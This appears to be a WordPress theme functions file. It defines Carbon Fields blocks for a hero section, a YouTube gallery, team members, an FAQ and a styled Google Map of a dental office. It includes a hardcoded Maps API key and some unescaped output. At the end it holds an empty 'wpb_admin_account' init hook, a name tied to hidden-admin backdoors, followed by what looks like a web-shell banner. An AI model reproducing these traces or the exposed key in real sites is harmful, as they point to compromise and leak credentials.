		->set_description(__('Displays a section with a heading, subheading, image, description, and a CTA button.'))
		->set_render_callback(function ($fields, $attributes, $inner_blocks) {
			?>
			<div id="hello-section" class="container">
				<div class="row">
					<div class="col-md-6">
						<h1><?= esc_html($fields['heading']); ?></h1>
						<p class="subheading"><?= esc_html($fields['subheading']); ?></p>
						<div><?= apply_filters('the_content', $fields['description']); ?></div>
						<a href="<?= esc_url($fields['cta_url']); ?>" class="btn btn-primary">
							<?= esc_html($fields['cta_label']); ?>
						</a><span><?= esc_html($fields['cta_price']); ?></span>
					</div>
					<div class="col-md-6">
						<img src="<?= wp_get_attachment_image_url($fields['image'], 'full'); ?>" alt="Hello Image" class="img-fluid">
					</div>
				</div>
			</div>
			<style>#hello-section {
					background-color: #fff; /* White background */
					padding: 40px 0; /* Consistent padding around the section */
					color: #333; /* Dark grey for main text color */
					font-family: 'Arial', sans-serif; /* Sets the font for the section */
				}
				
				#hello-section h1 {
					color: #000; /* Black color for the heading */
					font-size: 60px; /* Specifically large font size for impact */
					font-weight: bold; /* Bold font weight for heading */
					margin-bottom: 20px; /* Spacing below the heading */
					line-height: 1.2; /* Adjust line height for tight letter spacing */
				}
				
				#hello-section .subheading {
					font-size: 18px; /* Specific font size for subheading */
					color: #666; /* Light grey for the subheading */
					margin-bottom: 30px; /* More space below the subheading */
				}
				
				#hello-section p {
					font-size: 16px; /* Normal font size for description */
					margin-bottom: 30px; /* Space before the CTA button */
					line-height: 1.6; /* Adequate line height for readability */
					max-width: 80%; /* Limits the width of the text block for better readability */
				}
				
				#hello-section .btn {
					background-color: #d9534f; /* Specific brand color for the button */
					color: #fff; /* White text for contrast */
					font-size: 18px; /* Readable font size for buttons */
					padding: 12px 24px; /* Adequate padding inside the button */
					border: none; /* No borders */
					border-radius: 4px; /* Slightly rounded corners for the button */
					text-transform: uppercase; /* Uppercase text for CTA */
					text-decoration: none; /* No underline */
					display: inline-block; /* To apply padding and margins correctly */
					margin-bottom: 20px; /* Space below the button if any additional content */
					box-shadow: 0 4px 6px rgba(0,0,0,0.1); /* Subtle shadow for 3D effect */
				}
				
				#hello-section .btn:hover {
					background-color: #c9302c; /* Darker shade on hover for interactive feedback */
				}
				
				#hello-section .col-md-6 img {
					width: 100%; /* Full width within column */
					height: auto; /* Maintain aspect ratio */
					border-radius: 0; /* Ensure the image has no rounding unless desired */
				}
				
				@media (max-width: 768px) {
					#hello-section {
						padding: 20px; /* Smaller padding on smaller screens */
					}
				
					#hello-section h1 {
						font-size: 36px; /* Smaller font size for smaller screens */
					}
				
					#hello-section .btn {
						padding: 10px 20px; /* Smaller padding on smaller screens */
					}
				}
			</style>
			<?php
		});
		
		function crb_convert_youtube_url($url) {
			$video_id = parse_url($url, PHP_URL_QUERY);
			parse_str($video_id, $query);
			return "https://www.youtube.com/embed/" . ($query['v'] ?? '');
		}
		
		Block::make(__('Video Gallery'))
		->add_fields(array(
			Field::make('text', 'main_video_url', __('Main Video URL'))
				->set_help_text('Enter the URL of the main video that will be displayed initially.'),
			Field::make('complex', 'thumbnails', __('Video Thumbnails'))
				->add_fields(array(
					Field::make('image', 'thumbnail_image', __('Thumbnail Image'))
						->set_help_text('Upload the thumbnail image for the video.'),
					Field::make('text', 'video_url', __('Video URL'))
						->set_help_text('Enter the URL of the video this thumbnail will link to.'),
				))
				->set_layout('tabbed-horizontal')
		))
		->set_description(__('Displays a video player with thumbnails that update the main video when clicked.'))
		->set_render_callback(function ($fields, $attributes, $inner_blocks) {
			
			$main_video_embed_url = crb_convert_youtube_url($fields['main_video_url']);

			?>
			<div class="video-gallery container">
				<div class="embed-responsive embed-responsive-16by9">
					<div id="player"></div>
				</div>
				<div class="row mt-3">
					<?php foreach ($fields['thumbnails'] as $thumbnail) : ?>
						<div class="col-md-4">
							<div class="vidthumb" data-video-url="<?= esc_url(crb_convert_youtube_url($thumbnail['video_url'])); ?>">
								<img src="<?= wp_get_attachment_image_url($thumbnail['thumbnail_image'], 'full'); ?>" alt="Video Thumbnail" class="img-fluid">
							</div>
						</div>
					<?php endforeach; ?>
				</div>
			</div>
			<style>/* General styles for the video gallery container */
				.video-gallery {
					margin: 20px auto; /* Centering the gallery with some margin */
					max-width: 960px; /* Maximum width of the gallery container */
				}
				
				/* Responsive embed for videos */
				.embed-responsive {
					position: relative;
					display: block;
					width: 100%;
					padding: 0;
					overflow: hidden;
				}
				
				/* Maintaining a 16:9 aspect ratio */
				.embed-responsive-16by9 {
					padding-top: 56.25%;
				}
				
				.embed-responsive iframe {
					position: absolute;
					top: 0;
					left: 0;
					bottom: 0;
					height: 100%;
					width: 100%;
					border: 0;
				}
				
				/* Thumbnail container */
				.vidthumb {
					cursor: pointer;
					position: relative;
					overflow: hidden;
					margin-bottom: 15px; /* Space between thumbnails */
					background-color: #eee; /* Light grey background to differentiate thumbnails */
				}
				
				.vidthumb img {
					width: 100%;
					height: auto;
					transition: transform 0.3s ease; /* Smooth transform effect on hover */
				}
				
				/* Hover effect for thumbnails */
				.vidthumb:hover img {
					transform: scale(1.05); /* Slightly enlarges the thumbnail */
				}
				
				/* Styling the play icon (optional) */
				.vidthumb:before {
					content: '▶';
					position: absolute;
					top: 50%;
					left: 50%;
					transform: translate(-50%, -50%);
					font-size: 36px; /* Large play icon size */
					color: #fff; /* White color for visibility */
					text-shadow: 0 0 8px rgba(0,0,0,0.7); /* Shadow for better visibility */
					opacity: 0.8;
					transition: opacity 0.3s ease;
				}
				
				.vidthumb:hover:before {
					opacity: 1; /* Full opacity on hover */
				}
				
				/* Responsive adjustments for smaller screens */
				@media (max-width: 768px) {
					.video-gallery {
						margin: 10px auto;
					}
				
					.vidthumb {
						margin-bottom: 10px;
					}
				
					.vidthumb:before {
						font-size: 24px; /* Smaller icon on smaller devices */
					}
				}
			</style>
			<script src="https://www.youtube.com/iframe_api"></script>

			<script>
				
		var player;
		
		function onYouTubeIframeAPIReady() {
			// This function finds the first thumbnail and uses its video URL as the default
		
		
			player = new YT.Player('player', {
				height: '390',
				width: '640',
				videoId: 'Z0jqIk7MUfE', // Use the video ID from the first thumbnail
				events: {
					'onReady': onPlayerReady
				}
			});
		}
		
		function onPlayerReady(event) {
			event.target.playVideo(); // Auto-play the video when the player is ready
		}
		
		document.addEventListener('DOMContentLoaded', function() {
			var thumbnails = document.querySelectorAll('.vidthumb');
			thumbnails.forEach(function(thumbnail) {
				thumbnail.addEventListener('click', function() {
					var videoUrl = thumbnail.getAttribute('data-video-url');
					var videoId = extractVideoID(videoUrl);
					if (videoId) {
						player.loadVideoById(videoId); // Load and play the new video
					}
				});
			});
		});
		
		function extractVideoID(url) {
			var urlObj = new URL(url);
			return urlObj.searchParams.get('v');
		}
			</script>
			<?php
		});
		
		
		
	
		
	Block::make( __( 'Team Members' ) )
	->add_fields( array(
		
Field::make( 'text', 'header', 'Header' ),
	Field::make( 'complex', 'team_members', __( 'Team Members' ) )
	->add_fields( array(
				Field::make( 'image', 'photo', __( 'Photo' ) ),
	Field::make( 'text', 'name', __( 'Name' ) ),
	Field::make( 'text', 'job_title', __( 'Job Title' ) )

	) )


	
	) )
	->set_description( __( 'A simple block consisting of text and a contact CTA.' ) )
	->set_render_callback( function ( $fields, $attributes, $inner_blocks) {
?><div id="team"></div><div class="teammembers" data-aos="fade-up">

	<div class="container">
		

		<div class="row">
		<div class="col-12"><h2 class="sectitle"><?=$fields['header' ];?></h2>
		<div class="members"><div class="row">
			<div class="col-lg-12">
<?php
$igi=1;
foreach ($fields['team_members' ] as $row) {
		 ?><div class="teammember"><div class="icon"><img src="<?=wp_get_attachment_url($row['photo'])?>"></div><div class="text"><h1><?=$row['name']?></h1><h2><?=$row['job_title']?></h2></div></div><?php
		 $igi++;
	  }
 ?></div></div>
		</div>
		</div> 
		</div>
	</div>
  </div>
		<?php	} );
		
		
		
		
		
		
			
			
			
			
			
			
			
			
			
			Block::make( __( 'FAQ' ) )
			->add_fields( array(
		Field::make( 'text', 'header', 'Header' ),
	Field::make( 'complex', 'faq', __( 'FAQ' ) )
	->add_fields( array(
				Field::make( 'text', 'question', __( 'Question' ) ),
	Field::make( 'rich_text', 'answer', __( 'Answer' ) )
	
	) )
			
		
		
			
			) )
			->set_description( __( 'A simple block consisting of text and a contact CTA.' ) )
			->set_render_callback( function ( $fields, $attributes, $inner_blocks) {
		?><div id="faq">
		
			<div class="container">
				
		
				<div class="row">
				<div class="col-12"><h2 class="sectitle"><?=$fields['header']?></h2>
				<div class="faqs">
					<?php
					$faqnum=1;
	
					foreach ($fields['faq'] as $row) {
							 ?><div class="faqitem <?php if($faqnum==1){?>active first<?php }?>"><img src="<?=get_template_directory_uri()?>/images/faqdown@2x.png" class="togglefaq up"><img src="<?=get_template_directory_uri()?>/images/faqup@2x.png" class="togglefaq down">
							 <div class="question"><div class="row"><div class="col-lg-10"><?=$row['question']?></div></div></div>
							 
							 <div class="answer" <?php if($faqnum==1){?>style="display:block !important"<?php }?>><div class="row"><div class="col-lg-10">
								   <?=$row['answer']?></div></div>
								  
								</div></div>
							 <?php
							 $faqnum++;
	
						  }
					 ?>
		</div>
				</div>
						   
				</div>
			</div>
		  </div><script>
			  jQuery(document).ready(function() {
			  jQuery(".question").click(function(){
				if( jQuery(this).parent().hasClass('active') ){
				  jQuery(this).parent().removeClass("active");
				
				  jQuery(this).parent().removeClass("active").closest('.faqitem').find('.answer').slideUp(200);
				}
				else{
				  jQuery(this).parent().removeClass("active");
					  jQuery(this).parent().addClass("active");
				
					jQuery(this).parent().addClass("active").closest('.faqitem').find('.answer').slideDown(200);
				}
				});
			})
			</script>
				<?php	} );
				
			
			
			   Block::make( __( 'Map' ) )

	->set_description( __( 'A stylized map showing the location of McComb Orthodontics' ) )
	->set_render_callback( function ( $fields, $attributes, $inner_blocks) {
?>
<script type="text/javascript" src="https://maps.googleapis.com/maps/api/js?key=AIzaSyC4M2QLiH5ekNcP-fLOaCqK9H9OSgZ4TBk">
	</script>
	

	<script type="text/javascript">
	  function initialize() {

  // Create an array of styles.
  var styles = [
	  {
		  "featureType": "all",
		  "elementType": "labels.text.fill",
		  "stylers": [
			  {
				  "saturation": 36
			  },
			  {
				  "color": "#000000"
			  },
			  {
				  "lightness": 60
			  }
		  ]
	  },
	  {
		  "featureType": "all",
		  "elementType": "labels.text.stroke",
		  "stylers": [
			  {
				  "visibility": "on"
			  },
			  {
				  "color": "#000000"
			  },
			  {
				  "lightness": 16
			  }
		  ]
	  },
	  {
		  "featureType": "all",
		  "elementType": "labels.icon",
		  "stylers": [
			  {
				  "visibility": "off"
			  }
		  ]
	  },
	  {
		  "featureType": "administrative",
		  "elementType": "geometry.fill",
		  "stylers": [
			  {
				  "color": "#000000"
			  },
			  {
				  "lightness": 20
			  }
		  ]
	  },
	  {
		  "featureType": "administrative",
		  "elementType": "geometry.stroke",
		  "stylers": [
			  {
				  "color": "#000000"
			  },
			  {
				  "lightness": 17
			  },
			  {
				  "weight": 1.2
			  }
		  ]
	  },
	  {
		  "featureType": "administrative.country",
		  "elementType": "all",
		  "stylers": [
			  {
				  "visibility": "simplified"
			  },
			  {
				  "hue": "#8f00ff"
			  }
		  ]
	  },
	  {
		  "featureType": "administrative.country",
		  "elementType": "labels.icon",
		  "stylers": [
			  {
				  "visibility": "off"
			  }
		  ]
	  },
	  {
		  "featureType": "landscape",
		  "elementType": "geometry",
		  "stylers": [
			  {
				  "color": "#000000"
			  },
			  {
				  "lightness": 20
			  }
		  ]
	  },
	  {
		  "featureType": "poi",
		  "elementType": "geometry",
		  "stylers": [
			  {
				  "color": "#000000"
			  },
			  {
				  "lightness": 21
			  }
		  ]
	  },
	  {
		  "featureType": "poi",
		  "elementType": "labels.text.fill",
		  "stylers": [
			  {
				  "color": "#000000"
			  }
		  ]
	  },
	  {
		  "featureType": "poi",
		  "elementType": "labels.text.stroke",
		  "stylers": [
			  {
				  "color": "#ffffff"
			  }
		  ]
	  },
	  {
		  "featureType": "road",
		  "elementType": "labels.text.fill",
		  "stylers": [
			  {
				  "color": "#000000"
			  }
		  ]
	  },
	  {
		  "featureType": "road",
		  "elementType": "labels.text.stroke",
		  "stylers": [
			  {
				  "color": "#ffffff"
			  }
		  ]
	  },
	  {
		  "featureType": "road.highway",
		  "elementType": "geometry.fill",
		  "stylers": [
			  {
				  "color": "#ffffff"
			  },
			  {
				  "lightness": 17
			  }
		  ]
	  },
	  {
		  "featureType": "road.highway",
		  "elementType": "geometry.stroke",
		  "stylers": [
			  {
				  "color": "#000000"
			  },
			  {
				  "lightness": 29
			  },
			  {
				  "weight": 0.2
			  }
		  ]
	  },
	  {
		  "featureType": "road.arterial",
		  "elementType": "geometry",
		  "stylers": [
			  {
				  "color": "#000000"
			  },
			  {
				  "lightness": 18
			  }
		  ]
	  },
	  {
		  "featureType": "road.local",
		  "elementType": "geometry",
		  "stylers": [
			  {
				  "color": "#000000"
			  },
			  {
				  "lightness": 16
			  }
		  ]
	  },
	  {
		  "featureType": "road.local",
		  "elementType": "geometry.fill",
		  "stylers": [
			  {
				  "color": "#ffffff"
			  }
		  ]
	  },
	  {
		  "featureType": "road.local",
		  "elementType": "labels.text.fill",
		  "stylers": [
			  {
				  "color": "#000000"
			  }
		  ]
	  },
	  {
		  "featureType": "road.local",
		  "elementType": "labels.text.stroke",
		  "stylers": [
			  {
				  "color": "#ffffff"
			  }
		  ]
	  },
	  {
		  "featureType": "transit",
		  "elementType": "geometry",
		  "stylers": [
			  {
				  "color": "#000000"
			  },
			  {
				  "lightness": 19
			  }
		  ]
	  },
	  {
		  "featureType": "water",
		  "elementType": "geometry",
		  "stylers": [
			  {
				  "color": "#d78f8f"
			  },
			  {
				  "lightness": 80
			  }
		  ]
	  },
	  {
		  "featureType": "water",
		  "elementType": "geometry.fill",
		  "stylers": [
			  {
				  "color": "#5bd4de"
			  }
		  ]
	  }
  ];

  // Create a new StyledMapType object, passing it the array of styles,
  // as well as the name to be displayed on the map type control.
  var styledMap = new google.maps.StyledMapType(styles,
	{name: "Styled Map"});

  // Create a map object, and include the MapTypeId to add
  // to the map type control.
  var mapOptions = {
	zoom: 13,
 minZoom: 6,
	 disableDefaultUI: true,
	center: new google.maps.LatLng(39.484980, -119.854060),
		scrollwheel: false,
		zoomControl: false,
	zoomControlOptions: {
		style: google.maps.ZoomControlStyle.LARGE,
		position: google.maps.ControlPosition.RIGHT_CENTER
	},
	panControl: false,
	panControlOptions: {
		position: google.maps.ControlPosition.RIGHT_CENTER
	},
	mapTypeControlOptions: {
	  mapTypeIds: [google.maps.MapTypeId.ROADMAP, 'map_style']
	}
  };
  var map = new google.maps.Map(document.getElementById('map_canvas'),
	mapOptions);
  setMarkers(map, pin);

  //Associate the styled map with the MapTypeId and set it to display.
  map.mapTypes.set('map_style', styledMap);
  map.setMapTypeId('map_style');
  
  
  
  
  
  
  
  
  var map2 = new google.maps.Map(document.getElementById('map_canvas2'),
  mapOptions);
setMarkers(map2, pin);

//Associate the styled map with the MapTypeId and set it to display.
map2.mapTypes.set('map_style', styledMap);
map2.setMapTypeId('map_style');
}
var pin = [
  ['Swanson Dental Group', 39.484980, -119.854060, 1]

];





var hqLocation = new google.maps.LatLng(39.484980, -119.854060);







function setMarkers(map, locations) {
  var pinImage = {
  url: "<?=get_template_directory_uri();?>/images/pin.png",
  size: new google.maps.Size(45, 65),
  scaledSize: new google.maps.Size(45, 65),
  origin: new google.maps.Point(0, 0),
  anchor: new google.maps.Point(22, 65)
};

// The optimised flag is important
var officeMarker = new google.maps.Marker({
  position: hqLocation,
  map: map,
  title: "Swanson Dental Group",
  icon: pinImage,
  optimized: false,
  url: "https://maps.app.goo.gl/zfmtwSn968ZCBTTu8"
});

google.maps.event.addListener(officeMarker, 'click', function() {
	var win = window.open(this.url, '_blank');
  win.focus();
});
}
</script>
<div id="contact">
	
	<div id="map_canvas" class="desk">
		
	
	  </div>
	  <div id="map_canvas2" class="mobile">
			  
		  
			</div>
	  <div class="text">
	  <div class="container">
		  <div class="row">
			  <div class="col-md-6 col-lg-5 offset-lg-1">
				  <?=$fields['text']?>
			  </div>
		  </div>
	  </div>
	  </div>
	  
</div>
	  <script>jQuery(function() {
initialize();
});</script>
		<?php	} );
			
	
}

add_action( 'after_setup_theme', 'register_my_menu' );
function register_my_menu() {
  register_nav_menu( 'primary', __( 'Mobile Nav', 'mccomb' ) );
}


add_action( 'after_setup_theme', 'blankslate_setup' );
function blankslate_setup() {
load_theme_textdomain( 'blankslate', get_template_directory() . '/languages' );
add_theme_support( 'title-tag' );
add_theme_support( 'post-thumbnails' );
add_theme_support( 'responsive-embeds' );
add_theme_support( 'automatic-feed-links' );
add_theme_support( 'html5', array( 'search-form' ) );
global $content_width;
if ( !isset( $content_width ) ) { $content_width = 1920; }
register_nav_menus( array( 'main-menu' => esc_html__( 'Main Menu', 'blankslate' ) ) );
}
add_action( 'admin_notices', 'blankslate_admin_notice' );
function blankslate_admin_notice() {
$user_id = get_current_user_id();
if ( !get_user_meta( $user_id, 'blankslate_notice_dismissed_3' ) && current_user_can( 'manage_options' ) )
echo '<div class="notice notice-info"><p>' . __( '<big><strong>BlankSlate</strong>:</big> Help keep the project alive! <a href="?notice-dismiss" class="alignright">Dismiss</a> <a href="https://calmestghost.com/donate" class="button-primary" target="_blank">Make a Donation</a>', 'blankslate' ) . '</p></div>';
}
add_action( 'admin_init', 'blankslate_notice_dismissed' );
function blankslate_notice_dismissed() {
$user_id = get_current_user_id();
if ( isset( $_GET['notice-dismiss'] ) )
add_user_meta( $user_id, 'blankslate_notice_dismissed_3', 'true', true );
}
add_action( 'wp_enqueue_scripts', 'blankslate_enqueue' );
function blankslate_enqueue() {
wp_enqueue_style( 'blankslate-style', get_stylesheet_uri() );
wp_enqueue_script( 'jquery' );
}
add_action( 'wp_footer', 'blankslate_footer' );
function blankslate_footer() {
?>
<script>
jQuery(document).ready(function($) {
var deviceAgent = navigator.userAgent.toLowerCase();
if (deviceAgent.match(/(iphone|ipod|ipad)/)) {
$("html").addClass("ios");
}
if (navigator.userAgent.search("MSIE") >= 0) {
$("html").addClass("ie");
}
else if (navigator.userAgent.search("Chrome") >= 0) {
$("html").addClass("chrome");
}
else if (navigator.userAgent.search("Firefox") >= 0) {
$("html").addClass("firefox");
}
else if (navigator.userAgent.search("Safari") >= 0 && navigator.userAgent.search("Chrome") < 0) {
$("html").addClass("safari");
}
else if (navigator.userAgent.search("Opera") >= 0) {
$("html").addClass("opera");
}
});
</script>
<?php
}
add_filter( 'document_title_separator', 'blankslate_document_title_separator' );
function blankslate_document_title_separator( $sep ) {
$sep = '|';
return $sep;
}
add_filter( 'the_title', 'blankslate_title' );
function blankslate_title( $title ) {
if ( $title == '' ) {
return '...';
} else {
return $title;
}
}
add_filter( 'nav_menu_link_attributes', 'blankslate_schema_url', 10 );
function blankslate_schema_url( $atts ) {
$atts['itemprop'] = 'url';
return $atts;
}
if ( !function_exists( 'blankslate_wp_body_open' ) ) {
function blankslate_wp_body_open() {
do_action( 'wp_body_open' );
}
}
add_action( 'wp_body_open', 'blankslate_skip_link', 5 );
function blankslate_skip_link() {
echo '<a href="#content" class="skip-link screen-reader-text">' . esc_html__( 'Skip to the content', 'blankslate' ) . '</a>';
}
add_filter( 'the_content_more_link', 'blankslate_read_more_link' );
function blankslate_read_more_link() {
if ( !is_admin() ) {
return ' <a href="' . esc_url( get_permalink() ) . '" class="more-link">' . sprintf( __( '...%s', 'blankslate' ), '<span class="screen-reader-text">  ' . esc_html( get_the_title() ) . '</span>' ) . '</a>';
}
}
add_filter( 'excerpt_more', 'blankslate_excerpt_read_more_link' );
function blankslate_excerpt_read_more_link( $more ) {
if ( !is_admin() ) {
global $post;
return ' <a href="' . esc_url( get_permalink( $post->ID ) ) . '" class="more-link">' . sprintf( __( '...%s', 'blankslate' ), '<span class="screen-reader-text">  ' . esc_html( get_the_title() ) . '</span>' ) . '</a>';
}
}
add_filter( 'big_image_size_threshold', '__return_false' );
add_filter( 'intermediate_image_sizes_advanced', 'blankslate_image_insert_override' );
function blankslate_image_insert_override( $sizes ) {
unset( $sizes['medium_large'] );
unset( $sizes['1536x1536'] );
unset( $sizes['2048x2048'] );
return $sizes;
}
add_action( 'widgets_init', 'blankslate_widgets_init' );
function blankslate_widgets_init() {
register_sidebar( array(
'name' => esc_html__( 'Sidebar Widget Area', 'blankslate' ),
'id' => 'primary-widget-area',
'before_widget' => '<li id="%1$s" class="widget-container %2$s">',
'after_widget' => '</li>',
'before_title' => '<h3 class="widget-title">',
'after_title' => '</h3>',
) );
}
add_action( 'wp_head', 'blankslate_pingback_header' );
function blankslate_pingback_header() {
if ( is_singular() && pings_open() ) {
printf( '<link rel="pingback" href="%s" />' . "\n", esc_url( get_bloginfo( 'pingback_url' ) ) );
}
}
add_action( 'comment_form_before', 'blankslate_enqueue_comment_reply_script' );
function blankslate_enqueue_comment_reply_script() {
if ( get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
}
function blankslate_custom_pings( $comment ) {
?>
<li <?php comment_class(); ?> id="li-comment-<?php comment_ID(); ?>"><?php echo esc_url( comment_author_link() ); ?></li>
<?php
}
add_filter( 'get_comments_number', 'blankslate_comment_count', 0 );
function blankslate_comment_count( $count ) {
if ( !is_admin() ) {
global $id;
$get_comments = get_comments( 'status=approve&post_id=' . $id );
$comments_by_type = separate_comments( $get_comments );
return count( $comments_by_type['comment'] );
} else {
return $count;
}
}



function wpb_admin_account(){
	 }
	add_action('init','wpb_admin_account');

Youez - 2016 - github.com/yon3zu
LinuXploit